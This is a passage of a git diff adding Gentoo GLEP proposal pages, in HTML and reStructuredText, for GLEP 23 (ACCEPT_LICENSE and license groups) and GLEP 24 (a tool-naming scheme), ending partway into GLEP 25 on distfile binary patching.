+<h1><a class="toc-backref" href="#id5" id="abstract" name="abstract">Abstract</a></h1>
+<p>Currently, every ebuild in the main gentoo repository is required to have a
+valid LICENSE entry.  However, the syntax of this entry is not officially
+defined and the entry itself is only used when outputting package
+details.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="status-update" name="status-update">Status Update</a></h1>
+<p>Repoman has been updated to check for the LICENSE syntax.
+A development portage branch with support for ACCEPT_LICENSE
+and license groups exists.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="motivation" name="motivation">Motivation</a></h1>
+<p>Many users wish to regulate the software they install with regards to
+licenses for various reasons <a class="footnote-reference" href="#id3" id="id1" name="id1">[1]</a>.  Some want a system free of any
+software that is not OSI-approved; others are simply curious as to what
+licenses they are implicitly accepting.</p>
+<p>Furthermore, some software requires that a user interactively accept its
+license for its author's to consider it legally binding.  This is
+currently implemented using <tt class="docutils literal"><span class="pre">eutils.eclass</span></tt>.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="specification" name="specification">Specification</a></h1>
+<div class="section">
+<h2><a class="toc-backref" href="#id9" id="ebuild-license-variable" name="ebuild-license-variable">Ebuild LICENSE Variable</a></h2>
+<p>Most ebuilds are for software which is released under a single license.
+In these cases, the current LICENSE variable can remain as is.  For
+example:</p>
+<pre class="literal-block">
+LICENSE=&quot;single-license&quot;
+</pre>
+<p>However, there are several ebuilds for software which is released under
+several licenses, of which the user must accept one, some or all <a class="footnote-reference" href="#id4" id="id2" name="id2">[2]</a>.
+To complicate this, some ebuilds include optional components which fall
+under a different license.</p>
+<p>To accomodate these cases, LICENSE syntax should accomodate all
+functionality offered by a DEPEND string.  To keep things simple, this
+GLEP proposes that the syntax be identical.  For example:</p>
+<pre class="literal-block">
+LICENSE=&quot;mandatory-license
+    || ( choosable-licence1 chooseable-license-2 )
+    useflag? ( optional-component-license )&quot;
+</pre>
+<p>License names may contain [a-zA-Z0-9] (english alphanumeric characters),
+_ (underscore), - (dash), . (dot) and + (plus sign).</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id10" id="license-groups" name="license-groups">License Groups</a></h2>
+<p>Almost all users are willing to install any software that is
+FSF-approved.  Other users are willing to install any software and
+implicitly accept its license.  To this end, implementations will also
+need to handle grouping of licenses.</p>
+<p>At a minimum, there needs to be the groups <tt class="docutils literal"><span class="pre">GPL-COMPATIBLE</span></tt>,
+<tt class="docutils literal"><span class="pre">FSF-APPROVED</span></tt>, <tt class="docutils literal"><span class="pre">OSI-APPROVED</span></tt> and <tt class="docutils literal"><span class="pre">NON-MUST-HAVE-READ</span></tt>.
+<tt class="docutils literal"><span class="pre">NON-MUST-HAVE-READ</span></tt> licenses are those that don't require manual
+acceptance for to be considered legally binding.  This is the current
+behaviour of portage.</p>
+<p>These groups are defined in a new file <tt class="docutils literal"><span class="pre">license_groups</span></tt> in
+the <tt class="docutils literal"><span class="pre">profiles</span></tt> subdirectory of the tree (or overlays).
+Details of handling groups defined in overlays is implementation dependent.</p>
+<p>The format of this file is</p>
+<pre class="literal-block">
+&lt;groupname&gt; &lt;license1&gt; &lt;license2&gt; ... &lt;licenseN&gt;
+</pre>
+<p>Also any line starting with # is ignored and may be used for comments.
+Group names use the same syntax as normal license names. Also license groups
+may contain other groups.
+License groups may not contain negated elements, so a group</p>
+<pre class="literal-block">
+mygroup foo -bar -bla
+</pre>
+<p>is illegal.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id11" id="accept-license" name="accept-license">ACCEPT_LICENSE</a></h2>
+<p>This GLEP proposes that a user be able to explicitly accept or decline
+licenses by editing a new variable <tt class="docutils literal"><span class="pre">ACCEPT_LICENSE</span></tt> in
+<tt class="docutils literal"><span class="pre">/etc/make.conf</span></tt>.  Again, to keep things simple, the syntax should be
+similar to that of other incrementals.  For example:</p>
+<pre class="literal-block">
+ACCEPT_LICENSE=&quot;-* accepted-license -declined-license&quot;
+</pre>
+<p>As an extension, <tt class="docutils literal"><span class="pre">ACCEPT_LICENSE</span></tt> must also support <a class="reference" href="#license-groups">license groups</a>.
+This GLEP proposes that the license group be prepended by the special
+character &quot;<tt class="docutils literal"><span class="pre">&#64;</span></tt>&quot;.  For example:</p>
+<pre class="literal-block">
+ACCEPT_LICENSE=&quot;-* &#64;FSF-APPROVED&quot;
+</pre>
+<p>License groups may be negated with the result that all elements of that group
+are also negated.</p>
+<p>Portage will also offer a package.license facility to offer this functionality
+on a per-package base (analog to package.keywords), other implementations may
+implement such a facility differently or not at all.</p>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id12" id="behaviour" name="behaviour">Behaviour</a></h2>
+<p>Unaccepted licenses will be treated like any other masked package, that is
+the user interface of an implementation will display a message listing any
+license that has to be accepted before the package can be merged with a
+pointer to the exact license text.</p>
+<p>Past versions of this document proposed to handle license-masked packages
+like blockers, but this would be inconsistent with other visibility
+filters as well as the current blocker system (as a blocker affects two
+packages) and be more complicated to implement.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id13" id="rationale" name="rationale">Rationale</a></h1>
+<p>An implementation of this proposal should make it easy for users wishing
+to regulate their software without affecting those that don't.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id14" id="reference-implementation" name="reference-implementation">Reference Implementation</a></h1>
+<p>Available in portage svn repository under main/branches/license-masking</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id15" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>There should be no change to the user experience without the user
+explicitly choosing to do so.  This mandates that the
+configuration variable be named <tt class="docutils literal"><span class="pre">ACCEPT_LICENSE</span></tt> as some users may
+already have it set due to ebuilds using <tt class="docutils literal"><span class="pre">eutil.eclass</span></tt>'s
+implementation.  It also mandates that the default <tt class="docutils literal"><span class="pre">ACCEPT_LICENSE</span></tt> be
+set to <tt class="docutils literal"><span class="pre">&#64;NON-MUST-HAVE-READ</span></tt> in the main gentoo repository as implementations
+are not required to provide an internal default.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id16" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id3" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id3">[1]</a></td><td>Gentoo Linux Bug 17367
+(<a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=17367">http://bugs.gentoo.org/show_bug.cgi?id=17367</a>)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id4" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="id4">[2]</a></td><td>Gentoo Linux Bug 34146
+(<a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=34146">http://bugs.gentoo.org/show_bug.cgi?id=34146</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id17" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0023.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0023.txt b/xml/htdocs/proj/en/glep/glep-0023.txt
new file mode 100644
index 00000000..bd5463bb
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0023.txt
@@ -0,0 +1,187 @@
+GLEP: 23
+Title: Handling of ACCEPT_LICENSE
+Version: $Revision: 1.7 $
+Last-Modified: $Date: 2006/11/21 00:02:05 $
+Author:	Jason Stubbs <jstubbs@gentoo.org>, Marius Mauch <genone@gentoo.org>
+Status: Accepted
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 9-Mar-2004
+Post-History: 8-Mar-2004 10-Mar-2004 25-Oct-2004 18-Nov-2006 21-Nov-2006
+
+
+Abstract
+========
+
+Currently, every ebuild in the main gentoo repository is required to have a 
+valid LICENSE entry.  However, the syntax of this entry is not officially 
+defined and the entry itself is only used when outputting package 
+details.
+
+Status Update
+=============
+
+Repoman has been updated to check for the LICENSE syntax.
+A development portage branch with support for ACCEPT_LICENSE
+and license groups exists.
+
+Motivation
+==========
+
+Many users wish to regulate the software they install with regards to 
+licenses for various reasons [1]_.  Some want a system free of any 
+software that is not OSI-approved; others are simply curious as to what 
+licenses they are implicitly accepting.
+
+Furthermore, some software requires that a user interactively accept its 
+license for its author's to consider it legally binding.  This is 
+currently implemented using ``eutils.eclass``.
+
+
+Specification
+=============
+
+Ebuild LICENSE Variable
+-----------------------
+
+Most ebuilds are for software which is released under a single license.  
+In these cases, the current LICENSE variable can remain as is.  For 
+example:
+
+::
+
+	LICENSE="single-license"
+
+However, there are several ebuilds for software which is released under 
+several licenses, of which the user must accept one, some or all [2]_.  
+To complicate this, some ebuilds include optional components which fall 
+under a different license.
+
+To accomodate these cases, LICENSE syntax should accomodate all 
+functionality offered by a DEPEND string.  To keep things simple, this 
+GLEP proposes that the syntax be identical.  For example:
+
+::
+
+	LICENSE="mandatory-license
+	    || ( choosable-licence1 chooseable-license-2 )
+	    useflag? ( optional-component-license )"
+
+
+License names may contain [a-zA-Z0-9] (english alphanumeric characters),
+_ (underscore), - (dash), . (dot) and + (plus sign).
+
+License Groups
+--------------
+
+Almost all users are willing to install any software that is 
+FSF-approved.  Other users are willing to install any software and 
+implicitly accept its license.  To this end, implementations will also 
+need to handle grouping of licenses.
+
+At a minimum, there needs to be the groups ``GPL-COMPATIBLE``, 
+``FSF-APPROVED``, ``OSI-APPROVED`` and ``NON-MUST-HAVE-READ``.  
+``NON-MUST-HAVE-READ`` licenses are those that don't require manual 
+acceptance for to be considered legally binding.  This is the current 
+behaviour of portage.
+
+These groups are defined in a new file ``license_groups`` in 
+the ``profiles`` subdirectory of the tree (or overlays).
+Details of handling groups defined in overlays is implementation dependent.
+
+The format of this file is
+
+::
+	
+	<groupname> <license1> <license2> ... <licenseN>
+
+Also any line starting with # is ignored and may be used for comments.
+Group names use the same syntax as normal license names. Also license groups 
+may contain other groups.
+License groups may not contain negated elements, so a group
+
+::
+	
+	mygroup foo -bar -bla
+
+is illegal.
+
+
+ACCEPT_LICENSE
+--------------
+
+This GLEP proposes that a user be able to explicitly accept or decline 
+licenses by editing a new variable ``ACCEPT_LICENSE`` in 
+``/etc/make.conf``.  Again, to keep things simple, the syntax should be 
+similar to that of other incrementals.  For example:
+
+::
+
+	ACCEPT_LICENSE="-* accepted-license -declined-license"
+
+As an extension, ``ACCEPT_LICENSE`` must also support `license groups`_.  
+This GLEP proposes that the license group be prepended by the special 
+character "``@``".  For example:
+
+::
+
+	ACCEPT_LICENSE="-* @FSF-APPROVED"
+
+License groups may be negated with the result that all elements of that group
+are also negated.
+
+Portage will also offer a package.license facility to offer this functionality
+on a per-package base (analog to package.keywords), other implementations may
+implement such a facility differently or not at all.
+
+Behaviour
+---------
+
+Unaccepted licenses will be treated like any other masked package, that is
+the user interface of an implementation will display a message listing any 
+license that has to be accepted before the package can be merged with a 
+pointer to the exact license text.
+
+Past versions of this document proposed to handle license-masked packages
+like blockers, but this would be inconsistent with other visibility 
+filters as well as the current blocker system (as a blocker affects two 
+packages) and be more complicated to implement.
+
+Rationale
+=========
+
+An implementation of this proposal should make it easy for users wishing 
+to regulate their software without affecting those that don't.
+
+
+Reference Implementation
+========================
+
+Available in portage svn repository under main/branches/license-masking
+
+
+Backwards Compatibility
+=======================
+
+There should be no change to the user experience without the user 
+explicitly choosing to do so.  This mandates that the 
+configuration variable be named ``ACCEPT_LICENSE`` as some users may 
+already have it set due to ebuilds using ``eutil.eclass``'s 
+implementation.  It also mandates that the default ``ACCEPT_LICENSE`` be 
+set to ``@NON-MUST-HAVE-READ`` in the main gentoo repository as implementations
+are not required to provide an internal default.
+
+References
+==========
+
+.. [1] Gentoo Linux Bug 17367
+       (http://bugs.gentoo.org/show_bug.cgi?id=17367)
+.. [2] Gentoo Linux Bug 34146 
+       (http://bugs.gentoo.org/show_bug.cgi?id=34146)
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0024.html b/xml/htdocs/proj/en/glep/glep-0024.html
new file mode 100644
index 00000000..256afea1
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0024.html
@@ -0,0 +1,163 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 24 -- Consistent Gentoo tool naming scheme</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0024.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">24</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Consistent Gentoo tool naming scheme</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.5</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0024.txt?cvsroot=gentoo">2006/07/07 06:08:10</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Donnie Berkholz &lt;dberkholz&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">16 March 2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">17-Mar-2004, 25-Oct-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#status-update" id="id3" name="id3">Status Update</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id5" name="id5">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id6" name="id6">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id7" name="id7">Backwards Compatibility</a></li>
+<li><a class="reference" href="#reference-implementation" id="id8" name="id8">Reference Implementation</a></li>
+<li><a class="reference" href="#copyright" id="id9" name="id9">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP proposes to create a more consistent, logical and usable naming
+scheme for Gentoo-specific configuration and update tools. It proposes
+changing the scheme to gentoo-config-&lt;toolname&gt; and gentoo-update-&lt;toolname&gt;.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="status-update" name="status-update">Status Update</a></h1>
+<p>The author notes that this GLEP &quot;needs significant work&quot;, which is
+unlikely to occur until either winter vacation or next summer.
+Marking as deferred for the time being.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>A consistent prefix on these tools will allow users to easily find them on the
+system by merely entering &quot;gentoo-&lt;tab&gt;&lt;tab&gt;&quot; for a complete listing or
+&quot;gentoo-config-&lt;tab&gt;&lt;tab&gt;&quot; or &quot;gentoo-update-&lt;tab&gt;&lt;tab&gt;&quot; to get a listing of
+the specific category.</p>
+<p>In the current situation, it is trivial to miss a configuration tool unless one
+reads a portage log of installed files for a package. Revamping the naming
+scheme would enable users to find these tools more easily.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="specification" name="specification">Specification</a></h1>
+<p>The following packages and tools are affected (gentoo- prefix removed for ease
+of reading, current name follows suggested name):</p>
+<pre class="literal-block">
+config-kernel
+x11-base/opengl-update -&gt; config-opengl (opengl-update)
+sys-devel/distcc -&gt; config-distcc (distcc-config)
+app-admin/zope-config -&gt; config-zope (zope-config)
+app-sci/blas-config -&gt; config-blas (blas-config)
+dev-java/java-config -&gt; config-java (java-config)
+dev-ruby/ruby-config -&gt; config-ruby (ruby-config)
+net-www/webapp-config -&gt; config-webapp (webapp-config)
+sys-devel/cc-config -&gt; config-cc (cc-config)
+sys-devel/gcc-config -&gt; config-gcc (gcc-config)
+dev-lang/python -&gt; update-python (python-updater)
+sys-apps/baselayout -&gt; update-modules (modules-update)
+sys-apps/baselayout -&gt; update-env (env-update)
+sys-apps/baselayout -&gt; update-etc (etc-update)
+sys-apps/baselayout -&gt; config-rc (rc-update)
+</pre>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="rationale" name="rationale">Rationale</a></h1>
+<p>Three primary options were presented for the naming scheme:</p>
+<ul class="simple">
+<li>The current scheme, *-config and *-update. This scheme makes finding a
+tool difficult, since there is no consistency in the beginning of the name.
+However, it may be easier for people who already know such a tool exists and
+remember that its name correlates with the package to be configured (except
+in the case of many of the *-update tools).</li>
+<li>A slightly modified version of the proposed scheme, with an abbreviated
+prefix, shorter than gentoo-*. For example, the current gcc-config would
+become gen-config-gcc or g-config-gcc. Although this is shorter to type, the
+availability of tab completion renders that point largely moot. It may also
+contribute to confusion through inexact specification of what it is.</li>
+<li>The proposed scheme, gentoo-{config,update}-*. It provides a streamlined way
+to discover and use various Gentoo-specific tools, even if one does not
+remember the exact name. A minor downside is the length of the names, but
+again this caveat is largely moot because of tab completion.</li>
+</ul>
+<p>In an example of another distribution, Red Hat moved to a redhat-config-*
+scheme within the past couple of years to provide more consistent and
+easier-to-find tools.</p>
+<p>After two discussions on gentoo-dev, the majority favored this unified prefix
+for the tools, with a minority in objection, variously favoring one of the
+first two schemes above.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>To ensure a smooth transition, a wrapper script will be provided in the old
+location. This wrapper will print a warning, sleep 5 seconds, then run the
+tool from its new location. The wrapper script should be provided for the next
+two new ebuilds for the package, whether they are revision or version bumps.
+On the third update, the wrapper script will be removed.</p>
+<p>In addition, einfo warnings will be added in the ebuilds for the first three
+new ebuilds. They will run in one more ebuild beyond removal of the wrapper
+script.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="reference-implementation" name="reference-implementation">Reference Implementation</a></h1>
+<p>not yet ..</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0024.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0024.txt b/xml/htdocs/proj/en/glep/glep-0024.txt
new file mode 100644
index 00000000..0279a538
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0024.txt
@@ -0,0 +1,118 @@
+GLEP: 24
+Title: Consistent Gentoo tool naming scheme
+Version: $Revision: 1.5 $
+Last-Modified: $Date: 2006/07/07 06:08:10 $
+Author: Donnie Berkholz <dberkholz@gentoo.org>,
+Status: deferred
+Type: Standards
+Content-Type: text/x-rst
+Created: 16 March 2004
+Post-History: 17-Mar-2004, 25-Oct-2004
+
+
+Abstract
+========
+
+This GLEP proposes to create a more consistent, logical and usable naming
+scheme for Gentoo-specific configuration and update tools. It proposes
+changing the scheme to gentoo-config-<toolname> and gentoo-update-<toolname>.
+
+Status Update
+=============
+
+The author notes that this GLEP "needs significant work", which is
+unlikely to occur until either winter vacation or next summer.
+Marking as deferred for the time being.
+
+
+Motivation
+==========
+
+A consistent prefix on these tools will allow users to easily find them on the
+system by merely entering "gentoo-<tab><tab>" for a complete listing or
+"gentoo-config-<tab><tab>" or "gentoo-update-<tab><tab>" to get a listing of
+the specific category.
+
+In the current situation, it is trivial to miss a configuration tool unless one
+reads a portage log of installed files for a package. Revamping the naming
+scheme would enable users to find these tools more easily.
+
+
+Specification
+=============
+
+The following packages and tools are affected (gentoo- prefix removed for ease
+of reading, current name follows suggested name)::
+
+    config-kernel
+    x11-base/opengl-update -> config-opengl (opengl-update)
+    sys-devel/distcc -> config-distcc (distcc-config)
+    app-admin/zope-config -> config-zope (zope-config)
+    app-sci/blas-config -> config-blas (blas-config)
+    dev-java/java-config -> config-java (java-config)
+    dev-ruby/ruby-config -> config-ruby (ruby-config)
+    net-www/webapp-config -> config-webapp (webapp-config)
+    sys-devel/cc-config -> config-cc (cc-config)
+    sys-devel/gcc-config -> config-gcc (gcc-config)
+    dev-lang/python -> update-python (python-updater)
+    sys-apps/baselayout -> update-modules (modules-update)
+    sys-apps/baselayout -> update-env (env-update)
+    sys-apps/baselayout -> update-etc (etc-update)
+    sys-apps/baselayout -> config-rc (rc-update)
+
+
+Rationale
+=========
+
+Three primary options were presented for the naming scheme:
+
+* The current scheme, \*-config and \*-update. This scheme makes finding a
+  tool difficult, since there is no consistency in the beginning of the name.
+  However, it may be easier for people who already know such a tool exists and
+  remember that its name correlates with the package to be configured (except
+  in the case of many of the \*-update tools).
+
+* A slightly modified version of the proposed scheme, with an abbreviated
+  prefix, shorter than gentoo-\*. For example, the current gcc-config would
+  become gen-config-gcc or g-config-gcc. Although this is shorter to type, the
+  availability of tab completion renders that point largely moot. It may also
+  contribute to confusion through inexact specification of what it is.
+
+* The proposed scheme, gentoo-{config,update}-\*. It provides a streamlined way
+  to discover and use various Gentoo-specific tools, even if one does not
+  remember the exact name. A minor downside is the length of the names, but
+  again this caveat is largely moot because of tab completion.
+
+In an example of another distribution, Red Hat moved to a redhat-config-\*
+scheme within the past couple of years to provide more consistent and
+easier-to-find tools.
+
+After two discussions on gentoo-dev, the majority favored this unified prefix
+for the tools, with a minority in objection, variously favoring one of the
+first two schemes above.
+
+
+Backwards Compatibility
+=======================
+
+To ensure a smooth transition, a wrapper script will be provided in the old
+location. This wrapper will print a warning, sleep 5 seconds, then run the
+tool from its new location. The wrapper script should be provided for the next
+two new ebuilds for the package, whether they are revision or version bumps.
+On the third update, the wrapper script will be removed.
+
+In addition, einfo warnings will be added in the ebuilds for the first three
+new ebuilds. They will run in one more ebuild beyond removal of the wrapper
+script.
+
+
+Reference Implementation
+========================
+
+not yet ..
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0025.html b/xml/htdocs/proj/en/glep/glep-0025.html
new file mode 100644
index 00000000..739c7e58
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0025.html
@@ -0,0 +1,343 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 25 -- Distfile Patching Support</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0025.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">25</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Distfile Patching Support</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.3</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0025.txt?cvsroot=gentoo">2005/04/01 01:32:19</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Brian Harring &lt;ferringb&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">6-Mar-2004</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">4-Apr-2004, 11-Nov-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id7" name="id7">Abstract</a></li>
+<li><a class="reference" href="#status" id="id8" name="id8">Status</a></li>
+<li><a class="reference" href="#motivation" id="id9" name="id9">Motivation</a></li>
+<li><a class="reference" href="#binary-patches-vs-gnudiff-patches" id="id10" name="id10">Binary patches vs GNUDiff patches</a></li>
+<li><a class="reference" href="#rationale" id="id11" name="id11">Rationale</a></li>
+<li><a class="reference" href="#specification" id="id12" name="id12">Specification</a><ul>
+<li><a class="reference" href="#additions-to-the-tree" id="id13" name="id13">Additions to the tree</a></li>
+<li><a class="reference" href="#portage-implementation" id="id14" name="id14">Portage Implementation</a><ul>
+<li><a class="reference" href="#fetching" id="id15" name="id15">Fetching</a></li>
+<li><a class="reference" href="#reconstruction" id="id16" name="id16">Reconstruction</a></li>
+<li><a class="reference" href="#compressed-md5sums" id="id17" name="id17">Compressed MD5sums:</a><ul>
+<li><a class="reference" href="#the-problem-in-detail" id="id18" name="id18">The Problem in Detail</a></li>
+<li><a class="reference" href="#the-proposed-solution" id="id19" name="id19">The Proposed Solution</a></li>
+</ul>
+</li>
+</ul>
+</li>
+<li><a class="reference" href="#distfile-mirror-additions" id="id20" name="id20">Distfile Mirror Additions</a></li>
+<li><a class="reference" href="#patch-creation" id="id21" name="id21">Patch Creation</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#backwards-compatibility" id="id22" name="id22">Backwards Compatibility</a></li>
+<li><a class="reference" href="#reference-implementation" id="id23" name="id23">Reference Implementation</a></li>
+<li><a class="reference" href="#references" id="id24" name="id24">References</a></li>
+<li><a class="reference" href="#copyright" id="id25" name="id25">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="abstract" name="abstract">Abstract</a></h1>
+<p>The intention of this GLEP is to propose the creation of patching support for
+portage, and iron out the implementation details.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="status" name="status">Status</a></h1>
+<p>Timed out</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="motivation" name="motivation">Motivation</a></h1>
+<p>Reduce the bandwidth load placed on our mirrors by decreasing the amount of
+bytes transferred when upgrading between versions.  Side benefit of this is to
+significantly decrease the download requirements for users lacking broadband.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="binary-patches-vs-gnudiff-patches" name="binary-patches-vs-gnudiff-patches">Binary patches vs GNUDiff patches</a></h1>
+<p>Most people are familiar with diff patches (unified diff for example)- this
+glep is specifically proposing the use of an actual binary differencer.  The
+reason for this is that diff patches are line based- you change a single
+character in a line, and the whole line must be included in the patch.  Binary
+differencers work at the byte level- it encodes just that byte.  In that
+respect binary patches are often much more efficient then diff patches.</p>
+<p>Further, the ability to reverse a unified patch is due to the fact the diff
